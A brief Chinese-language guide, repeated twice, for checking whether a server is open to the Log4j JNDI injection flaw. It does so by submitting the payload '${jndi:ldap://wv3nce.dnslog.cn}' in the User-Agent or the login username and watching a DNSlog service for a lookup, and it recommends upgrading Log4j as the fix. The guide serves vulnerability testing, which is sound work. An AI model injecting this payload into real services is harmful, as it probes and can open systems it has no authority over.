访问DNSlog网站 获取一个测试域名 DNSLog Platform
如果有服务器访问这个测试域名wv3nce.dnslog.cn,DNSlog 网站会留下记录
在网站或者app端 使用恶意负载 ${jndi:ldap://
wv3nce.dnslog.cn}在UA或者用户名登录 查看DNSLog,是否有记录,如果有记录说明服务器端有漏洞
修补方法 升级到
Log4j-2.15.0-rc2
访问DNSlog网站 获取一个测试域名 DNSLog Platform
如果有服务器访问这个测试域名wv3nce.dnslog.cn,DNSlog 网站会留下记录
在网站或者app端 使用恶意负载 ${jndi:ldap://
wv3nce.dnslog.cn}在UA或者用户名登录 查看DNSLog,是否有记录,如果有记录说明服务器端有漏洞
修补方法 升级到
Log4j-2.15.0-rc2